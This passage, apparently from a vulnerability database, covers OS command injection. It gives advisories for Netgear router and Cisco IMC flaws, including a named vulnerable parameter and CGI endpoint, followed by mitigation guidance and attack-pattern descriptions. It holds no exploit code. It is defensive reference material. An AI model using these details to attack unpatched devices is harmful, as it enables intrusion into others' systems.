      "url": "http://packetstormsecurity.com/files/174799/TOTOLINK-Wireless-Routers-Remote-Command-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M2PM-J5CR-9FM9

Vulnerability from github – Published: 2024-11-05 15:30 – Updated: 2024-11-05 18:32
VLAI
Details

Netgear XR300 v1.0.3.78, R7000P v1.3.3.154, and R6400 v2 1.0.4.128 was discovered to contain a command injection vulnerability via the wan_gateway parameter at genie_fix2.cgi. This vulnerability allows attackers to execute arbitrary OS commands via a crafted request.

Severity
8.0 (High)
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-51021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-05T15:15:25Z",
    "severity": "HIGH"
  },
  "details": "Netgear XR300 v1.0.3.78, R7000P v1.3.3.154, and R6400 v2 1.0.4.128 was discovered to contain a command injection vulnerability via the wan_gateway parameter at genie_fix2.cgi. This vulnerability allows attackers to execute arbitrary OS commands via a crafted request.",
  "id": "GHSA-m2pm-j5cr-9fm9",
  "modified": "2024-11-05T18:32:10Z",
  "published": "2024-11-05T15:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51021"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wudipjq/my_vuln/blob/main/Netgear5/vuln_57/57.md"
    },
    {
      "type": "WEB",
      "url": "https://www.netgear.com/about/security"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M2XM-R93V-MJRM

Vulnerability from github – Published: 2024-04-24 21:31 – Updated: 2024-04-24 21:31
VLAI
Details

A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) could allow an authenticated, remote attacker with Administrator-level privileges to perform command injection attacks on an affected system and elevate their privileges to root. This vulnerability is due to insufficient user input validation. An attacker could exploit this vulnerability by sending crafted commands to the web-based management interface of the affected software. A successful exploit could allow the attacker to elevate their privileges to root.

Severity
8.7 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-20356"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-24T20:15:07Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) could allow an authenticated, remote attacker with Administrator-level privileges to perform command injection attacks on an affected system and elevate their privileges to root. This vulnerability is due to insufficient user input validation. An attacker could exploit this vulnerability by sending crafted commands to the web-based management interface of the affected software. A successful exploit could allow the attacker to elevate their privileges to root.",
  "id": "GHSA-m2xm-r93v-mjrm",
  "modified": "2024-04-24T21:31:56Z",
  "published": "2024-04-24T21:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20356"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-bLuPcb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-4.3
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Mitigation
Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-88: OS Command Injection

In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

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